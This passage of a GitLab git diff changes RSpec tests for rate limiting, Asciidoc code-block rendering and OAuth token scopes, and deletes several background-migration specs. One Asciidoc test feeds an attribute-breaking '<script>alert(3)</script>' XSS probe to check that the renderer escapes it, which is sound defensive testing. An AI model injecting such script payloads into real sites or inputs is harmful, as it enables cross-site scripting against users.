+ expect(subject.throttled?(:test_action, scope: scope)).to eq(true)
+ expect(subject.throttled?(:test_action, scope: scope, peek: true)).to eq(true)
+ end
+ end
end
context 'when using ActiveRecord models as scope' do
@@ -104,6 +115,20 @@ RSpec.describe Gitlab::ApplicationRateLimiter do
end
end
+ describe '.peek' do
+ it 'peeks at the current state without changing its value' do
+ freeze_time do
+ expect(subject.peek(:test_action, scope: [user])).to eq(false)
+ expect(subject.throttled?(:test_action, scope: [user])).to eq(false)
+ 2.times do
+ expect(subject.peek(:test_action, scope: [user])).to eq(false)
+ end
+ expect(subject.throttled?(:test_action, scope: [user])).to eq(true)
+ expect(subject.peek(:test_action, scope: [user])).to eq(true)
+ end
+ end
+ end
+
describe '.log_request' do
let(:file_path) { 'master/README.md' }
let(:type) { :raw_blob_request_limit }
diff --git a/spec/lib/gitlab/asciidoc_spec.rb b/spec/lib/gitlab/asciidoc_spec.rb
index ac29bb22865..7200ff3c4db 100644
--- a/spec/lib/gitlab/asciidoc_spec.rb
+++ b/spec/lib/gitlab/asciidoc_spec.rb
@@ -96,10 +96,10 @@ module Gitlab
it "does not convert dangerous fenced code with inline script into HTML" do
input = '```mypre"><script>alert(3)</script>'
output =
- if Feature.enabled?(:use_cmark_renderer)
- "<div>\n<div>\n<pre class=\"code highlight js-syntax-highlight language-plaintext\" lang=\"plaintext\" v-pre=\"true\"><code></code></pre>\n</div>\n</div>"
+ if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
+ "<div>\n<div>\n<div class=\"gl-relative markdown-code-block js-markdown-code\">\n<pre class=\"code highlight js-syntax-highlight language-plaintext\" lang=\"plaintext\" v-pre=\"true\"><code></code></pre>\n<copy-code></copy-code>\n</div>\n</div>\n</div>"
else
- "<div>\n<div>\n<pre class=\"code highlight js-syntax-highlight language-plaintext\" lang=\"plaintext\" v-pre=\"true\"><code><span id=\"LC1\" class=\"line\" lang=\"plaintext\">\"&gt;</span></code></pre>\n</div>\n</div>"
+ "<div>\n<div>\n<div class=\"gl-relative markdown-code-block js-markdown-code\">\n<pre class=\"code highlight js-syntax-highlight language-plaintext\" lang=\"plaintext\" v-pre=\"true\"><code><span id=\"LC1\" class=\"line\" lang=\"plaintext\">\"&gt;</span></code></pre>\n<copy-code></copy-code>\n</div>\n</div>\n</div>"
end
expect(render(input, context)).to include(output)
@@ -365,7 +365,10 @@ module Gitlab
output = <<~HTML
<div>
<div>
+ <div class="gl-relative markdown-code-block js-markdown-code">
<pre class="code highlight js-syntax-highlight language-javascript" lang="javascript" v-pre="true"><code><span id="LC1" class="line" lang="javascript"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">hello world</span><span class="dl">'</span><span class="p">)</span></span></code></pre>
+ <copy-code></copy-code>
+ </div>
</div>
</div>
HTML
@@ -392,11 +395,14 @@ module Gitlab
<div>
<div>class.cpp</div>
<div>
+ <div class="gl-relative markdown-code-block js-markdown-code">
<pre class="code highlight js-syntax-highlight language-cpp" lang="cpp" v-pre="true"><code><span id="LC1" class="line" lang="cpp"><span class="cp">#include &lt;stdio.h&gt;</span></span>
<span id="LC2" class="line" lang="cpp"></span>
<span id="LC3" class="line" lang="cpp"><span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">5</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span></span>
<span id="LC4" class="line" lang="cpp"> <span class="n">std</span><span class="o">::</span><span class="n">cout</span><span class="o">&lt;&lt;</span><span class="s">"*"</span><span class="o">&lt;&lt;</span><span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span></span>
<span id="LC5" class="line" lang="cpp"><span class="p">}</span></span></code></pre>
+ <copy-code></copy-code>
+ </div>
</div>
</div>
HTML
diff --git a/spec/lib/gitlab/auth/user_access_denied_reason_spec.rb b/spec/lib/gitlab/auth/user_access_denied_reason_spec.rb
index 102d6fba97f..e5bc51edc2d 100644
--- a/spec/lib/gitlab/auth/user_access_denied_reason_spec.rb
+++ b/spec/lib/gitlab/auth/user_access_denied_reason_spec.rb
@@ -26,6 +26,7 @@ RSpec.describe Gitlab::Auth::UserAccessDeniedReason do
it { is_expected.to match /must accept the Terms of Service/ }
it { is_expected.to include(user.username) }
+ it { is_expected.to include(Gitlab.config.gitlab.url) }
end
context 'when the user is internal' do
diff --git a/spec/lib/gitlab/auth_spec.rb b/spec/lib/gitlab/auth_spec.rb
index 5ec6e23774a..32e647688ff 100644
--- a/spec/lib/gitlab/auth_spec.rb
+++ b/spec/lib/gitlab/auth_spec.rb
@@ -259,30 +259,48 @@ RSpec.describe Gitlab::Auth, :use_clean_rails_memory_store_caching do
context 'while using OAuth tokens as passwords' do
let(:user) { create(:user) }
- let(:token_w_api_scope) { Doorkeeper::AccessToken.create!(application_id: application.id, resource_owner_id: user.id, scopes: 'api') }
let(:application) { Doorkeeper::Application.create!(name: 'MyApp', redirect_uri: 'https://app.com', owner: user) }
shared_examples 'an oauth failure' do
it 'fails' do
- expect(gl_auth.find_for_git_client("oauth2", token_w_api_scope.token, project: nil, ip: 'ip'))
+ access_token = Doorkeeper::AccessToken.create!(application_id: application.id, resource_owner_id: user.id, scopes: 'api')
+
+ expect(gl_auth.find_for_git_client("oauth2", access_token.token, project: nil, ip: 'ip'))
.to have_attributes(auth_failure)
end
end
- it 'succeeds for OAuth tokens with the `api` scope' do
- expect(gl_auth.find_for_git_client("oauth2", token_w_api_scope.token, project: nil, ip: 'ip')).to have_attributes(actor: user, project: nil, type: :oauth, authentication_abilities: described_class.full_authentication_abilities)
- end
+ context 'with specified scopes' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:scopes, :abilities) do
+ 'api' | described_class.full_authentication_abilities
+ 'read_api' | described_class.read_only_authentication_abilities
+ 'read_repository' | [:download_code]
+ 'write_repository' | [:download_code, :push_code]
+ 'read_user' | []
+ 'sudo' | []
+ 'openid' | []
+ 'profile' | []
+ 'email' | []
+ end
- it 'fails for OAuth tokens with other scopes' do
- token = Doorkeeper::AccessToken.create!(application_id: application.id, resource_owner_id: user.id, scopes: 'read_user')
+ with_them do
+ it 'authenticates with correct abilities' do
+ access_token = Doorkeeper::AccessToken.create!(application_id: application.id, resource_owner_id: user.id, scopes: scopes)
- expect(gl_auth.find_for_git_client("oauth2", token.token, project: nil, ip: 'ip')).to have_attributes(auth_failure)
+ expect(gl_auth.find_for_git_client("oauth2", access_token.token, project: nil, ip: 'ip'))
+ .to have_attributes(actor: user, project: nil, type: :oauth, authentication_abilities: abilities)
+ end
+ end
end
it 'does not try password auth before oauth' do
+ access_token = Doorkeeper::AccessToken.create!(application_id: application.id, resource_owner_id: user.id, scopes: 'api')
+
expect(gl_auth).not_to receive(:find_with_user_password)
- gl_auth.find_for_git_client("oauth2", token_w_api_scope.token, project: nil, ip: 'ip')
+ gl_auth.find_for_git_client("oauth2", access_token.token, project: nil, ip: 'ip')
end
context 'blocked user' do
diff --git a/spec/lib/gitlab/background_migration/add_merge_request_diff_commits_count_spec.rb b/spec/lib/gitlab/background_migration/add_merge_request_diff_commits_count_spec.rb
deleted file mode 100644
index 1e72b249c19..00000000000
--- a/spec/lib/gitlab/background_migration/add_merge_request_diff_commits_count_spec.rb
+++ /dev/null
@@ -1,66 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::AddMergeRequestDiffCommitsCount do
- let(:namespaces_table) { table(:namespaces) }
- let(:projects_table) { table(:projects) }
- let(:merge_requests_table) { table(:merge_requests) }
- let(:merge_request_diffs_table) { table(:merge_request_diffs) }
- let(:merge_request_diff_commits_table) { table(:merge_request_diff_commits) }
-
- let(:namespace) { namespaces_table.create!(name: 'gitlab-org', path: 'gitlab-org') }
- let(:project) { projects_table.create!(name: 'gitlab', path: 'gitlab-org/gitlab-ce', namespace_id: namespace.id) }
- let(:merge_request) do
- merge_requests_table.create!(target_project_id: project.id,
- target_branch: 'master',
- source_project_id: project.id,
- source_branch: 'mr name',
- title: 'mr name')
- end
-
- def create_diff!(name, commits: 0)
- mr_diff = merge_request_diffs_table.create!(
- merge_request_id: merge_request.id)
-
- commits.times do |i|
- merge_request_diff_commits_table.create!(
- merge_request_diff_id: mr_diff.id,
- relative_order: i, sha: i)
- end
-
- mr_diff
- end
-
- describe '#perform' do
- it 'migrates diffs that have no commits' do
- diff = create_diff!('with_multiple_commits', commits: 0)
-
- subject.perform(diff.id, diff.id)
-
- expect(diff.reload.commits_count).to eq(0)
- end
-
- it 'skips diffs that have commits_count already set' do
- timestamp = 2.days.ago
- diff = merge_request_diffs_table.create!(
- merge_request_id: merge_request.id,
- commits_count: 0,
- updated_at: timestamp)
-
- subject.perform(diff.id, diff.id)
-
- expect(diff.reload.updated_at).to be_within(1.second).of(timestamp)
- end
-
- it 'migrates multiple diffs to the correct values' do
- diffs = Array.new(3).map.with_index { |_, i| create_diff!(i, commits: 3) }
-
- subject.perform(diffs.first.id, diffs.last.id)
-
- diffs.each do |diff|
- expect(diff.reload.commits_count).to eq(3)
- end
- end
- end
-end
diff --git a/spec/lib/gitlab/background_migration/add_modified_to_approval_merge_request_rule_spec.rb b/spec/lib/gitlab/background_migration/add_modified_to_approval_merge_request_rule_spec.rb
deleted file mode 100644
index 0b29163671c..00000000000
--- a/spec/lib/gitlab/background_migration/add_modified_to_approval_merge_request_rule_spec.rb
+++ /dev/null
@@ -1,61 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::AddModifiedToApprovalMergeRequestRule, schema: 20181228175414 do
- let(:determine_if_rules_are_modified) { described_class.new }
-
- let(:namespace) { table(:namespaces).create!(name: 'gitlab', path: 'gitlab') }
- let(:projects) { table(:projects) }
- let(:normal_project) { projects.create!(namespace_id: namespace.id) }
- let(:overridden_project) { projects.create!(namespace_id: namespace.id) }
- let(:rules) { table(:approval_merge_request_rules) }
- let(:project_rules) { table(:approval_project_rules) }
- let(:sources) { table(:approval_merge_request_rule_sources) }
- let(:merge_requests) { table(:merge_requests) }
- let(:groups) { table(:namespaces) }
- let(:mr_groups) { table(:approval_merge_request_rules_groups) }
- let(:project_groups) { table(:approval_project_rules_groups) }
-
- before do
- project_rule = project_rules.create!(project_id: normal_project.id, approvals_required: 3, name: 'test rule')
- overridden_project_rule = project_rules.create!(project_id: overridden_project.id, approvals_required: 5, name: 'other test rule')
- overridden_project_rule_two = project_rules.create!(project_id: overridden_project.id, approvals_required: 7, name: 'super cool rule')
-
- merge_request = merge_requests.create!(target_branch: 'feature', source_branch: 'default', source_project_id: normal_project.id, target_project_id: normal_project.id)
- overridden_merge_request = merge_requests.create!(target_branch: 'feature-2', source_branch: 'default', source_project_id: overridden_project.id, target_project_id: overridden_project.id)
-
- merge_rule = rules.create!(merge_request_id: merge_request.id, approvals_required: 3, name: 'test rule')
- overridden_merge_rule = rules.create!(merge_request_id: overridden_merge_request.id, approvals_required: 6, name: 'other test rule')
- overridden_merge_rule_two = rules.create!(merge_request_id: overridden_merge_request.id, approvals_required: 7, name: 'super cool rule')
-
- sources.create!(approval_project_rule_id: project_rule.id, approval_merge_request_rule_id: merge_rule.id)
- sources.create!(approval_project_rule_id: overridden_project_rule.id, approval_merge_request_rule_id: overridden_merge_rule.id)
- sources.create!(approval_project_rule_id: overridden_project_rule_two.id, approval_merge_request_rule_id: overridden_merge_rule_two.id)
-
- group1 = groups.create!(name: "group1", path: "test_group1", type: 'Group')
- group2 = groups.create!(name: "group2", path: "test_group2", type: 'Group')
- group3 = groups.create!(name: "group3", path: "test_group3", type: 'Group')
-
- project_groups.create!(approval_project_rule_id: overridden_project_rule_two.id, group_id: group1.id)
- project_groups.create!(approval_project_rule_id: overridden_project_rule_two.id, group_id: group2.id)
- project_groups.create!(approval_project_rule_id: overridden_project_rule_two.id, group_id: group3.id)
-
- mr_groups.create!(approval_merge_request_rule_id: overridden_merge_rule.id, group_id: group1.id)
- mr_groups.create!(approval_merge_request_rule_id: overridden_merge_rule_two.id, group_id: group2.id)
- end
-
- describe '#perform' do
- it 'changes the correct rules' do
- original_count = rules.all.count
-
- determine_if_rules_are_modified.perform(rules.minimum(:id), rules.maximum(:id))
-
- results = rules.where(modified_from_project_rule: true)
-
- expect(results.count).to eq 2
- expect(results.collect(&:name)).to eq(['other test rule', 'super cool rule'])
- expect(rules.count).to eq original_count
- end
- end
-end
diff --git a/spec/lib/gitlab/background_migration/backfill_deployment_clusters_from_deployments_spec.rb b/spec/lib/gitlab/background_migration/backfill_deployment_clusters_from_deployments_spec.rb
deleted file mode 100644
index 1404ada3647..00000000000
--- a/spec/lib/gitlab/background_migration/backfill_deployment_clusters_from_deployments_spec.rb
+++ /dev/null
@@ -1,44 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::BackfillDeploymentClustersFromDeployments, :migration, schema: 20181228175414 do
- subject { described_class.new }
-
- describe '#perform' do
- it 'backfills deployment_cluster for all deployments in the given range with a non-null cluster_id' do
- deployment_clusters = table(:deployment_clusters)
-
- namespace = table(:namespaces).create!(name: 'the-namespace', path: 'the-path')
- project = table(:projects).create!(name: 'the-project', namespace_id: namespace.id)
- environment = table(:environments).create!(name: 'the-environment', project_id: project.id, slug: 'slug')
- cluster = table(:clusters).create!(name: 'the-cluster')
-
- deployment_data = { cluster_id: cluster.id, project_id: project.id, environment_id: environment.id, ref: 'abc', tag: false, sha: 'sha', status: 1 }
- expected_deployment_1 = create_deployment(**deployment_data)
- create_deployment(**deployment_data, cluster_id: nil) # no cluster_id
- expected_deployment_2 = create_deployment(**deployment_data)
- out_of_range_deployment = create_deployment(**deployment_data, cluster_id: cluster.id) # expected to be out of range
-
- # to test "ON CONFLICT DO NOTHING"
- existing_record_for_deployment_2 = deployment_clusters.create!(
- deployment_id: expected_deployment_2.id,
- cluster_id: expected_deployment_2.cluster_id,
- kubernetes_namespace: 'production'
- )
-
- subject.perform(expected_deployment_1.id, out_of_range_deployment.id - 1)
-
- expect(deployment_clusters.all.pluck(:deployment_id, :cluster_id, :kubernetes_namespace)).to contain_exactly(
- [expected_deployment_1.id, cluster.id, nil],
- [expected_deployment_2.id, cluster.id, existing_record_for_deployment_2.kubernetes_namespace]
- )
- end
-
- def create_deployment(**data)
- @iid ||= 0
- @iid += 1
- table(:deployments).create!(iid: @iid, **data)
- end
- end
-end
diff --git a/spec/lib/gitlab/background_migration/backfill_environment_id_deployment_merge_requests_spec.rb b/spec/lib/gitlab/background_migration/backfill_environment_id_deployment_merge_requests_spec.rb
deleted file mode 100644
index 9194525e713..00000000000
--- a/spec/lib/gitlab/background_migration/backfill_environment_id_deployment_merge_requests_spec.rb
+++ /dev/null
@@ -1,46 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::BackfillEnvironmentIdDeploymentMergeRequests, schema: 20181228175414 do
- let(:environments) { table(:environments) }
- let(:merge_requests) { table(:merge_requests) }
- let(:deployments) { table(:deployments) }
- let(:deployment_merge_requests) { table(:deployment_merge_requests) }
- let(:namespaces) { table(:namespaces) }
- let(:projects) { table(:projects) }
-
- subject(:migration) { described_class.new }
-
- it 'correctly backfills environment_id column' do
- namespace = namespaces.create!(name: 'foo', path: 'foo')
- project = projects.create!(namespace_id: namespace.id)
-
- production = environments.create!(project_id: project.id, name: 'production', slug: 'production')
- staging = environments.create!(project_id: project.id, name: 'staging', slug: 'staging')
-
- mr = merge_requests.create!(source_branch: 'x', target_branch: 'master', target_project_id: project.id)
-
- deployment1 = deployments.create!(environment_id: staging.id, iid: 1, project_id: project.id, ref: 'master', tag: false, sha: '123abcdef', status: 1)
- deployment2 = deployments.create!(environment_id: production.id, iid: 2, project_id: project.id, ref: 'master', tag: false, sha: '123abcdef', status: 1)
- deployment3 = deployments.create!(environment_id: production.id, iid: 3, project_id: project.id, ref: 'master', tag: false, sha: '123abcdef', status: 1)
-
- # mr is tracked twice in production through deployment2 and deployment3
- deployment_merge_requests.create!(deployment_id: deployment1.id, merge_request_id: mr.id)
- deployment_merge_requests.create!(deployment_id: deployment2.id, merge_request_id: mr.id)
- deployment_merge_requests.create!(deployment_id: deployment3.id, merge_request_id: mr.id)
-
- expect(deployment_merge_requests.where(environment_id: nil).count).to eq(3)
-
- migration.backfill_range(1, mr.id)
-
- expect(deployment_merge_requests.where(environment_id: nil).count).to be_zero
- expect(deployment_merge_requests.count).to eq(2)
-
- production_deployments = deployment_merge_requests.where(environment_id: production.id)
- expect(production_deployments.count).to eq(1)
- expect(production_deployments.first.deployment_id).to eq(deployment2.id)
-
- expect(deployment_merge_requests.where(environment_id: staging.id).count).to eq(1)
- end
-end
diff --git a/spec/lib/gitlab/background_migration/backfill_merge_request_cleanup_schedules_spec.rb b/spec/lib/gitlab/background_migration/backfill_merge_request_cleanup_schedules_spec.rb
deleted file mode 100644
index d33f52514da..00000000000
--- a/spec/lib/gitlab/background_migration/backfill_merge_request_cleanup_schedules_spec.rb
+++ /dev/null
@@ -1,53 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::BackfillMergeRequestCleanupSchedules, schema: 20181228175414 do
- let(:merge_requests) { table(:merge_requests) }
- let(:cleanup_schedules) { table(:merge_request_cleanup_schedules) }
- let(:metrics) { table(:merge_request_metrics) }
-
- let(:namespace) { table(:namespaces).create!(name: 'name', path: 'path') }
- let(:project) { table(:projects).create!(namespace_id: namespace.id) }
-
- subject { described_class.new }
-
- describe '#perform' do
- let!(:open_mr) { merge_requests.create!(target_project_id: project.id, source_branch: 'master', target_branch: 'master') }
-
- let!(:closed_mr_1) { merge_requests.create!(target_project_id: project.id, source_branch: 'master', target_branch: 'master', state_id: 2) }
- let!(:closed_mr_2) { merge_requests.create!(target_project_id: project.id, source_branch: 'master', target_branch: 'master', state_id: 2) }
- let!(:closed_mr_1_metrics) { metrics.create!(merge_request_id: closed_mr_1.id, target_project_id: project.id, latest_closed_at: Time.current, created_at: Time.current, updated_at: Time.current) }
- let!(:closed_mr_2_metrics) { metrics.create!(merge_request_id: closed_mr_2.id, target_project_id: project.id, latest_closed_at: Time.current, created_at: Time.current, updated_at: Time.current) }
- let!(:closed_mr_2_cleanup_schedule) { cleanup_schedules.create!(merge_request_id: closed_mr_2.id, scheduled_at: Time.current) }
-
- let!(:merged_mr_1) { merge_requests.create!(target_project_id: project.id, source_branch: 'master', target_branch: 'master', state_id: 3) }
- let!(:merged_mr_2) { merge_requests.create!(target_project_id: project.id, source_branch: 'master', target_branch: 'master', state_id: 3, updated_at: Time.current) }
- let!(:merged_mr_1_metrics) { metrics.create!(merge_request_id: merged_mr_1.id, target_project_id: project.id, merged_at: Time.current, created_at: Time.current, updated_at: Time.current) }
-
- let!(:closed_mr_3) { merge_requests.create!(target_project_id: project.id, source_branch: 'master', target_branch: 'master', state_id: 2) }
- let!(:closed_mr_3_metrics) { metrics.create!(merge_request_id: closed_mr_3.id, target_project_id: project.id, latest_closed_at: Time.current, created_at: Time.current, updated_at: Time.current) }
-
- it 'creates records for all closed and merged merge requests in range' do
- expect(Gitlab::BackgroundMigration::Logger).to receive(:info).with(
- message: 'Backfilled merge_request_cleanup_schedules records',
- count: 3
- )
-
- subject.perform(open_mr.id, merged_mr_2.id)
-
- aggregate_failures do
- expect(cleanup_schedules.all.pluck(:merge_request_id))
- .to contain_exactly(closed_mr_1.id, closed_mr_2.id, merged_mr_1.id, merged_mr_2.id)
- expect(cleanup_schedules.find_by(merge_request_id: closed_mr_1.id).scheduled_at.to_s)
- .to eq((closed_mr_1_metrics.latest_closed_at + 14.days).to_s)
- expect(cleanup_schedules.find_by(merge_request_id: closed_mr_2.id).scheduled_at.to_s)
- .to eq(closed_mr_2_cleanup_schedule.scheduled_at.to_s)
- expect(cleanup_schedules.find_by(merge_request_id: merged_mr_1.id).scheduled_at.to_s)
- .to eq((merged_mr_1_metrics.merged_at + 14.days).to_s)
- expect(cleanup_schedules.find_by(merge_request_id: merged_mr_2.id).scheduled_at.to_s)
- .to eq((merged_mr_2.updated_at + 14.days).to_s)
- end
- end
- end
-end
diff --git a/spec/lib/gitlab/background_migration/backfill_namespace_settings_spec.rb b/spec/lib/gitlab/background_migration/backfill_namespace_settings_spec.rb
deleted file mode 100644
index 0f8adca2ca4..00000000000
--- a/spec/lib/gitlab/background_migration/backfill_namespace_settings_spec.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::BackfillNamespaceSettings, schema: 20181228175414 do
- let(:namespaces) { table(:namespaces) }
- let(:namespace_settings) { table(:namespace_settings) }
- let(:namespace) { table(:namespaces).create!(name: 'user', path: 'user') }
-
- subject { described_class.new }
-
- describe '#perform' do
- it 'creates settings for all projects in range' do
- namespaces.create!(id: 5, name: 'test1', path: 'test1')
- namespaces.create!(id: 7, name: 'test2', path: 'test2')
- namespaces.create!(id: 8, name: 'test3', path: 'test3')
-
- subject.perform(5, 7)
-
- expect(namespace_settings.all.pluck(:namespace_id)).to contain_exactly(5, 7)
- end
- end
-end
diff --git a/spec/lib/gitlab/background_migration/backfill_project_settings_spec.rb b/spec/lib/gitlab/background_migration/backfill_project_settings_spec.rb
deleted file mode 100644
index e6b0db2ab73..00000000000
--- a/spec/lib/gitlab/background_migration/backfill_project_settings_spec.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::BackfillProjectSettings, schema: 20181228175414 do
- let(:projects) { table(:projects) }
- let(:project_settings) { table(:project_settings) }
- let(:namespace) { table(:namespaces).create!(name: 'user', path: 'user') }
- let(:project) { projects.create!(namespace_id: namespace.id) }
-
- subject { described_class.new }
-
- describe '#perform' do
- it 'creates settings for all projects in range' do
- projects.create!(id: 5, namespace_id: namespace.id)
- projects.create!(id: 7, namespace_id: namespace.id)
- projects.create!(id: 8, namespace_id: namespace.id)
-
- subject.perform(5, 7)
-
- expect(project_settings.all.pluck(:project_id)).to contain_exactly(5, 7)
- end
- end
-end
diff --git a/spec/lib/gitlab/background_migration/backfill_push_rules_id_in_projects_spec.rb b/spec/lib/gitlab/background_migration/backfill_push_rules_id_in_projects_spec.rb
deleted file mode 100644
index 3468df3dccd..00000000000
--- a/spec/lib/gitlab/background_migration/backfill_push_rules_id_in_projects_spec.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::BackfillPushRulesIdInProjects, :migration, schema: 20181228175414 do
- let(:push_rules) { table(:push_rules) }
- let(:projects) { table(:projects) }
- let(:project_settings) { table(:project_settings) }
- let(:namespace) { table(:namespaces).create!(name: 'user', path: 'user') }
-
- subject { described_class.new }
-
- describe '#perform' do
- it 'creates new project push_rules for all push rules in the range' do
- project_1 = projects.create!(id: 1, namespace_id: namespace.id)
- project_2 = projects.create!(id: 2, namespace_id: namespace.id)
- project_3 = projects.create!(id: 3, namespace_id: namespace.id)
- project_settings_1 = project_settings.create!(project_id: project_1.id)
- project_settings_2 = project_settings.create!(project_id: project_2.id)
- project_settings_3 = project_settings.create!(project_id: project_3.id)
- push_rule_1 = push_rules.create!(id: 5, is_sample: false, project_id: project_1.id)
- push_rule_2 = push_rules.create!(id: 6, is_sample: false, project_id: project_2.id)
- push_rules.create!(id: 8, is_sample: false, project_id: 3)
-
- subject.perform(5, 7)
-
- expect(project_settings_1.reload.push_rule_id).to eq(push_rule_1.id)
- expect(project_settings_2.reload.push_rule_id).to eq(push_rule_2.id)
- expect(project_settings_3.reload.push_rule_id).to be_nil
- end
- end
-end
diff --git a/spec/lib/gitlab/background_migration/drop_invalid_security_findings_spec.rb b/spec/lib/gitlab/background_migration/drop_invalid_security_findings_spec.rb
new file mode 100644
index 00000000000..7cc64889fc8
--- /dev/null
+++ b/spec/lib/gitlab/background_migration/drop_invalid_security_findings_spec.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe Gitlab::BackgroundMigration::DropInvalidSecurityFindings, schema: 20211108211434 do
+ let(:namespace) { table(:namespaces).create!(name: 'user', path: 'user', type: Namespaces::UserNamespace.sti_name) }
+ let(:project) { table(:projects).create!(namespace_id: namespace.id) }
+
+ let(:pipelines) { table(:ci_pipelines) }
+ let!(:pipeline) { pipelines.create!(project_id: project.id) }
+
+ let(:ci_builds) { table(:ci_builds) }
+ let!(:ci_build) { ci_builds.create! }
+
+ let(:security_scans) { table(:security_scans) }
+ let!(:security_scan) do
+ security_scans.create!(
+ scan_type: 1,
+ status: 1,
+ build_id: ci_build.id,
+ project_id: project.id,
+ pipeline_id: pipeline.id
+ )
+ end
+
+ let(:vulnerability_scanners) { table(:vulnerability_scanners) }
+ let!(:vulnerability_scanner) { vulnerability_scanners.create!(project_id: project.id, external_id: 'test 1', name: 'test scanner 1') }
+
+ let(:security_findings) { table(:security_findings) }
+ let!(:security_finding_without_uuid) do
+ security_findings.create!(
+ severity: 1,
+ confidence: 1,
+ scan_id: security_scan.id,
+ scanner_id: vulnerability_scanner.id,
+ uuid: nil
+ )
+ end
+
+ let!(:security_finding_with_uuid) do
+ security_findings.create!(
+ severity: 1,
+ confidence: 1,
+ scan_id: security_scan.id,
+ scanner_id: vulnerability_scanner.id,
+ uuid: 'bd95c085-71aa-51d7-9bb6-08ae669c262e'
+ )
+ end
+
+ let(:sub_batch_size) { 10_000 }
+
+ subject { described_class.new.perform(security_finding_without_uuid.id, security_finding_with_uuid.id, sub_batch_size) }
+
+ it 'drops Security::Finding objects with no UUID' do
+ expect { subject }.to change(security_findings, :count).from(2).to(1)
+ end
+end
diff --git a/spec/lib/gitlab/background_migration/fix_promoted_epics_discussion_ids_spec.rb b/spec/lib/gitlab/background_migration/fix_promoted_epics_discussion_ids_spec.rb
deleted file mode 100644
index 35ec8be691a..00000000000
--- a/spec/lib/gitlab/background_migration/fix_promoted_epics_discussion_ids_spec.rb
+++ /dev/null
@@ -1,49 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::FixPromotedEpicsDiscussionIds, schema: 20181228175414 do
- let(:namespaces) { table(:namespaces) }
- let(:users) { table(:users) }
- let(:epics) { table(:epics) }
- let(:notes) { table(:notes) }
-
- let(:user) { users.create!(email: 'test@example.com', projects_limit: 100, username: 'test') }
- let(:namespace) { namespaces.create!(name: 'gitlab', path: 'gitlab-org') }
- let(:epic1) { epics.create!(id: 1, author_id: user.id, iid: 1, group_id: namespace.id, title: 'Epic with discussion', title_html: 'Epic with discussion') }
-
- def create_note(discussion_id)
- notes.create!(note: 'note comment',
- noteable_id: epic1.id,
- noteable_type: 'Epic',
- discussion_id: discussion_id)
- end
-
- def expect_valid_discussion_id(id)
- expect(id).to match(/\A\h{40}\z/)
- end
-
- describe '#perform with batch of discussion ids' do
- it 'updates discussion ids' do
- note1 = create_note('00000000')
- note2 = create_note('00000000')
- note3 = create_note('10000000')
-
- subject.perform(%w(00000000 10000000))
-
- expect_valid_discussion_id(note1.reload.discussion_id)
- expect_valid_discussion_id(note2.reload.discussion_id)
- expect_valid_discussion_id(note3.reload.discussion_id)
- expect(note1.discussion_id).to eq(note2.discussion_id)
- expect(note1.discussion_id).not_to eq(note3.discussion_id)
- end
-
- it 'skips notes with discussion id not in range' do
- note4 = create_note('20000000')
-
- subject.perform(%w(00000000 10000000))
-
- expect(note4.reload.discussion_id).to eq('20000000')
- end
- end
-end
diff --git a/spec/lib/gitlab/background_migration/fix_user_namespace_names_spec.rb b/spec/lib/gitlab/background_migration/fix_user_namespace_names_spec.rb
deleted file mode 100644
index 95509f9b897..00000000000
--- a/spec/lib/gitlab/background_migration/fix_user_namespace_names_spec.rb
+++ /dev/null
@@ -1,104 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::FixUserNamespaceNames, schema: 20181228175414 do
- let(:namespaces) { table(:namespaces) }
- let(:users) { table(:users) }
- let(:user) { users.create!(name: "The user's full name", projects_limit: 10, username: 'not-null', email: '1') }
-
- context 'updating the namespace names' do
- it 'updates a user namespace within range' do
- user2 = users.create!(name: "Other user's full name", projects_limit: 10, username: 'also-not-null', email: '2')
- user_namespace1 = namespaces.create!(
- id: 2,
- owner_id: user.id,
- name: "Should be the user's name",
- path: user.username
- )
- user_namespace2 = namespaces.create!(
- id: 3,
- owner_id: user2.id,
- name: "Should also be the user's name",
- path: user.username
- )
-
- described_class.new.perform(1, 5)
-
- expect(user_namespace1.reload.name).to eq("The user's full name")
- expect(user_namespace2.reload.name).to eq("Other user's full name")
- end
-
- it 'does not update namespaces out of range' do
- user_namespace = namespaces.create!(
- id: 6,
- owner_id: user.id,
- name: "Should be the user's name",
- path: user.username
- )
-
- expect { described_class.new.perform(1, 5) }
- .not_to change { user_namespace.reload.name }
- end
-
- it 'does not update groups owned by the users' do
- user_group = namespaces.create!(
- id: 2,
- owner_id: user.id,
- name: 'A group name',
- path: 'the-path',
- type: 'Group'
- )
-
- expect { described_class.new.perform(1, 5) }
- .not_to change { user_group.reload.name }
- end
- end
-
- context 'namespace route names' do
- let(:routes) { table(:routes) }
- let(:namespace) do
- namespaces.create!(
- id: 2,
- owner_id: user.id,
- name: "Will be updated to the user's name",
- path: user.username
- )
- end
-
- it "updates the route name if it didn't match the namespace" do
